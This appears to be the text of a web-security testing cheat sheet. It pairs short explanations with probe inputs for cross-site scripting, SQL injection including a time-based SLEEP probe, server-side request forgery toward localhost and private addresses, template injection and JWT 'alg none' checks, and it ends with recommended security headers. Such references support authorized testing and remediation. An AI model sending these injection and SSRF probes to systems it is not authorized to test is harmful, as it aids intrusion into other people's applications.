HTML context probe
Confirm whether HTML is parsed and inline event handlers execute.
<img src=x onerror=alert(document.domain)>A searchable, copy-friendly reference for authorized security testing, validation, and remediation.
Confirm whether HTML is parsed and inline event handlers execute.
<img src=x onerror=alert(document.domain)>Test whether an encoded attribute can be terminated safely.
" autofocus onfocus=alert(document.domain) x="Detect unsafe insertion into a single-quoted JavaScript string.
';alert(document.domain);//Useful when location.hash reaches innerHTML or another HTML sink.
#<img src=x onerror=alert(document.domain)>A non-executing marker for initial reflection and encoding checks.
<sc-test>Look for a controlled error or a meaningful response difference.
'Compare with an equivalent false condition to avoid relying on errors.
' AND 1=1-- -Pair with the true condition and compare status, body length, and timing.
' AND 1=2-- -A quote-free probe for numeric parameters.
1 AND 1=2Use only with permission and low delay; database syntax varies.
' AND SLEEP(5)-- -Check access to services bound to the target host.
http://127.0.0.1/Identify filters that only account for IPv4 notation.
http://[::1]/Test private-network reachability with a controlled destination.
http://10.0.0.1/Check whether URL validation is repeated after redirects.
https://controlled.example/redirectSafely identify blind outbound requests through DNS or HTTP logs.
https://unique-id.controlled.example/A result of 49 can indicate Jinja2, Twig, or another expression engine.
{{7*7}}Useful for Java EL, FreeMarker, and related engines.
${7*7}Detect ERB-like rendering without invoking system commands.
<%= 7*7 %>Different results help distinguish template engines.
{{7*'7'}}Check evaluation and error behavior with a harmless undefined variable.
{{sc_test}}Verify the algorithm is server-selected and restricted to an allowlist.
{"alg":"RS256","typ":"JWT"}Confirm tokens using none are rejected, including case variants.
{"alg":"none","typ":"JWT"}Check every security-relevant registered claim server-side.
exp · nbf · iss · aud · sub · jtiEnsure kid cannot cause path traversal, SQL injection, or attacker-controlled key lookup.
kidReject untrusted key URLs and embedded attacker-provided public keys.
jku · x5u · jwkStart restrictive, then add only required sources and nonces.
Content-Security-Policy: default-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'Enable only after HTTPS works across every included subdomain.
Strict-Transport-Security: max-age=31536000; includeSubDomainsPrevents browsers from guessing a different content type.
X-Content-Type-Options: nosniffLimits sensitive path and query leakage to other origins.
Referrer-Policy: strict-origin-when-cross-originDisable browser capabilities the application does not use.
Permissions-Policy: camera=(), microphone=(), geolocation=()